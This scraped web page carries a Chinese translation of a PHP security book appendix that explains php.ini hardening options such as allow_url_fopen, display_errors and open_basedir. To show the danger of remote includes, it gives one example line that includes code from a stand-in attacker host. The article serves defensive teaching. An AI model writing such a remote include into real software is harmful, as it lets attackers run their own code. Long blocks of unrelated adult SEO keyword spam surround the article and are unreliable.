日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP安全-配置選項

瀏覽:168日期:2022-09-11 17:41:09
配置選項

盡管本書的焦點是在于應用的安全性,但有一些配置選項是任何關心安全的開發者必需熟悉的。PHP的配置會影響你所寫代碼的行為以及你使用的技巧,必要時你需要稍稍負責一下應用程序以外的東西。

PHP的配置主要由一個名為php.ini的文件所指定。該文件包含很多配置選項,每一項都會對PHP產生非常特定的影響。如果該文件不存在,或者該文件中的某選項不存在,則會使用默認值。

如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )來確定PHP中對該文件路徑的定義:

<?php

phpinfo();

?>

圖A-1 所示的第六行(配置文件(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有文件名),這就意味著PHP無法在所示路徑找到php.ini文件。

該文件包含的自身說明非常好,因此你可以閱讀該文件并選擇適合你的配置選項。而手冊更是詳細,所以在你需要某一選項的更多信息時,我推薦訪問http://php.net/manual/ini.php

圖A-1. phpinfo( ) 函數可用于php.ini文件的定位

PHP安全-配置選項

A.1. allow_url_fopen

正如第六章所示,allow_url_fopen選項允許你如同本地文件一樣引用遠程資源:

<?php

$contents = file_get_contents(’http://example.org/xss.html’);

?>

在第五章中揭示了當它與include或require相結合時的危險性:

<?php

include ’http://evil.example.org/evil.inc’;

?>

我推薦關閉allow_url_fopen選項,除非你的應用需要它。

A.2. disable_functions

disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數不能被使用。盡管可以建立規范去禁止使用這些函數,但在PHP配置中進行限制要比依賴于開發者對規范的遵循要可靠得多。

我建立對附錄B列出的函數進行檢查,看一下是否要對一些函數進行限制。

A.3. display_errors

PHP的錯誤報告可以幫助你發現你所寫代碼中的錯誤。當你開發應用時,把錯誤提示顯示出來是取得即時反饋的有效方法,同時也可以加快開發速度。

在一個產品級的應用中,這一行為會成為一項安全風險。如果它顯示錯誤信息,所有人就可以得知你的應用中的重要信息。

在產品中你需要關閉display_errors選項。

A.4. enable_dl

enable_dl選項用于控制dl()函數是否生效,該函數允許在運行時加載PHP擴展。

使用dl()函數可能導致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應用中禁止它。

A.5. error_reporting

很多安全漏洞是由于使用了未初始化的變量或其它隨意的編程方法引起的。通過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設置都為報告Notice級別的錯誤。

我建議把error_reporting至少設定為E_ALL。(譯注:在開發中)

A.6. file_uploads

file_uploads選項決定了是否允許上傳文件。因此,如果你的應用不需要用戶上傳文件,那么關閉該選項就是最好的選擇。

只是簡單地在PHP代碼中不對上傳文件進行處理是不夠的,因為在執行你的代碼前,PHP就做了一些工作(如根據相關部據生成$_FILES數組)。

A.7. log_errors

當log_errors設為有效時,PHP會向error_log配置選項指定的文件中寫入所有出錯信息。

當display_errors設為無效時,將log_errors設為有效是很重要的;否則你將無法看到睛出錯信息。

我建議將log_errors設為有效并在error_log設定日志文件所在位置。

A.8. magic_quotes_gpc

magic_quotes_gpc是一個常用的選項,它目的是防止SQL注入。但出于很多原因,包括它轉義輸入的方式,證明了它是不完善的。

它對$_GET, $_POST, 以及 $_COOKIE中的數據使用同樣的規則即addslashes( )函數進行處理。從而,它并沒有根據你的數據庫選用對應的轉義函數進行處理。

基于兩個主要的原因,你需要把get_magic_quotes_gpc設為無效:

首先,它會加大你的輸入過濾邏輯的復雜性,這是由于它在執行你的代碼前首先對數據進行了編輯。例如,你需要對輸入的姓名進行過濾,其邏輯是只允許字母、空格、連詞符以及單引號,當magic_quotes_gpc生效時,你必須適應形如O’Reilly的姓名或者使用stripslashes( )嘗試將它恢復原形。這一不必要的復雜性(或者說不嚴謹的過濾規則)加大了發生錯誤的可能性,同時,你的輸入過濾機制中的缺陷必然會導致安全漏洞。

其次,它并沒有根據你的數據庫選用對應的轉義函數進行處理。這樣,由于它可以抵擋一些低層次或偶發的攻擊,掩蓋了它是一個糟糕的過濾或轉義機制這個事實,從而留下了一個安全漏洞,使你的應用無法抵擋如針對字符集的攻擊等更復雜的攻擊手段。

A.9. memory_limit

為防止寫得糟糕的腳本占用所有的可用內存,可以使用memory_limit選項對最大內存使用量進行限制(以字節方式或縮寫方式如8M指定)。

盡管最佳的取值是與運行的應用是相關的,我還是建議在大多情況下使用默認值8M。

memory_limit選項只有在PHP指定了enable-memory-limit方式編譯時才會生效。

A.10. open_basedir

open_basedir選項會限制PHP只能在它指定的目錄中打開文件。盡管它不能取代正確的輸入過濾,但該選項能減少利用文件系統相關函數如include及require進行的攻擊。

該選項的值會被當做前綴使用,因此當你想表示指定目錄時請小心不要漏了最后的斜杠:

open_basedir = /path/to/

小提示

請確認enable_dl選項是關閉的,否則open_basedir的限制可能會被繞過。

A.11. register_globals

見第二章

A.12. safe_mode

見第八章

PHP安全-配置選項

標簽: PHP
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
综合激情五月婷婷| 日韩视频一区二区三区在线播放免费观看 | 久久亚洲人体| 国产欧美久久一区二区三区| 日韩在线麻豆| 日韩精品视频一区二区三区| 日韩**一区毛片| 国产日韩欧美三区| 国产亚洲观看| 免费看久久久| 精品国产91| 日韩一区电影| 日韩av免费| 亚洲高清久久| 亚洲一区日韩| 亚洲天堂免费| 99日韩精品| 国产亚洲高清一区| 日韩av资源网| 国产精品中文字幕制服诱惑| 久久不见久久见中文字幕免费| 美女视频黄久久| 精品视频亚洲| 亚洲爱爱视频| 性欧美69xoxoxoxo| 天使萌一区二区三区免费观看| 久久国产99| 欧美日韩一视频区二区| 国产精品久久久久久久久久齐齐 | 亚洲狼人精品一区二区三区| 日韩av影院| 久久久国产精品入口麻豆| 色一区二区三区四区| 久久久精品日韩| 亚洲欧美激情诱惑| 欧美一级一区| 久久久男人天堂| 午夜久久免费观看| 欧美在线91| 在线中文字幕播放| 国产精品视区| 五月天久久久| 亚洲久草在线| 丁香婷婷久久| 在线亚洲国产精品网站| 日本电影久久久| 国产一区不卡| 国产精品日本| 久久精品九色| 欧美日韩国产亚洲一区| 亚洲开心激情| 日韩精品91| 四虎精品一区二区免费| 精品国产网站| 日韩在线a电影| 久久国产乱子精品免费女| 精品国产精品久久一区免费式 | 青草国产精品| 群体交乱之放荡娇妻一区二区| 一本综合精品| 蜜臀国产一区| 91成人在线网站| 成人免费电影网址| 国产欧美一区| 黄色欧美日韩| 国产中文欧美日韩在线| 免费在线看一区| 播放一区二区| 在线观看一区| 久久不见久久见国语| 亚洲欧美日韩一区在线观看| 精品一区二区三区的国产在线观看 | 亚洲国产一区二区三区在线播放| 国产乱码精品一区二区三区四区| 欧美亚洲国产精品久久| 国产精品亚洲欧美一级在线| 亚洲一区二区毛片| 欧美日韩免费观看视频| 日韩一区网站| 午夜久久免费观看| 精品久久精品| 久久国际精品| 中文字幕av一区二区三区四区| 另类中文字幕国产精品| 国产精品九九| 亚洲+小说+欧美+激情+另类| 不卡一区2区| a国产在线视频| 欧美日韩夜夜| 一区二区三区四区精品视频| 免费人成在线不卡| 精精国产xxxx视频在线野外| 国产精品高清一区二区| 国产成人久久精品麻豆二区 | 国产激情一区| 中文字幕av一区二区三区人| 九色精品91| 日韩亚洲一区在线| 国产一区二区三区国产精品| 91成人精品在线| 蜜桃一区二区三区在线| 精品欧美久久| 亚洲www免费| 日韩1区在线| 日本va欧美va欧美va精品| 一区在线免费| 欧美精品91| 久久夜夜操妹子| 荡女精品导航| 久久精品九色| 国产精品久久久网站| 亚洲欧美在线综合| 免费观看在线色综合| 黄色日韩在线| 五月天综合网站| 91精品1区| 亚洲大全视频| 香蕉精品视频在线观看| 1024精品久久久久久久久| 婷婷精品视频| 久久久精品五月天| 久久久久一区| 欧美日韩国产免费观看视频| 激情欧美一区| 欧美精品激情| 美女国产一区| 亚洲最大av| 天堂俺去俺来也www久久婷婷| 亚洲精品护士| 91精品丝袜国产高跟在线| 欧美日本不卡高清| 国产精品美女午夜爽爽| 国产精品美女在线观看直播| 欧美激情在线精品一区二区三区| 国产精品亚洲二区| 国产精品一区2区3区| 免费亚洲婷婷| 久久久久久婷| 欧美一区二区性| 欧美在线资源| 亚洲欧洲av| 国产精品免费精品自在线观看| 欧美激情视频一区二区三区在线播放| 久久不见久久见免费视频7| 久久精品国产亚洲aⅴ| 日韩欧美午夜| 亚洲一区二区三区免费在线观看 | 日韩欧美中文字幕电影| 日韩二区三区在线观看| 国产欧美日韩综合一区在线播放| 老牛国内精品亚洲成av人片| 国产亚洲毛片| 亚洲精品日本| 亚洲免费观看高清完整版在线观| 日韩一区中文| 国产精品一区二区三区www | www.com.cn成人| japanese国产精品| 美女国产一区| 国产精品va| 成人片免费看| 久久亚洲色图| 国产精品免费不| 欧美精品高清| 性色一区二区| 欧美激情麻豆| 亚洲午夜久久久久久尤物| 视频一区在线播放| 国产精品麻豆成人av电影艾秋| www.51av欧美视频| 欧美精品羞羞答答| 国产探花在线精品| 欧美三级网址| 欧美福利一区| 日韩va亚洲va欧美va久久| 裤袜国产欧美精品一区| 男女精品网站| 国产精品高清一区二区| 亚洲v在线看| 亚洲精品日本| 亚洲精品88| 亚洲精品一区二区在线播放∴| 国产一区二区三区成人欧美日韩在线观看| 国精品一区二区三区| 日本一区中文字幕| 欧美精选视频一区二区| 欧美国产日本| 国产一区观看| 日韩精品五月天| 欧美成人精品三级网站| 日韩美女国产精品| 日韩在线精品| 18国产精品| 欧美aa国产视频| 里番精品3d一二三区| 日韩午夜一区| 国产中文欧美日韩在线| 亚洲91在线| 欧美亚洲国产精品久久| 国产精品毛片久久久|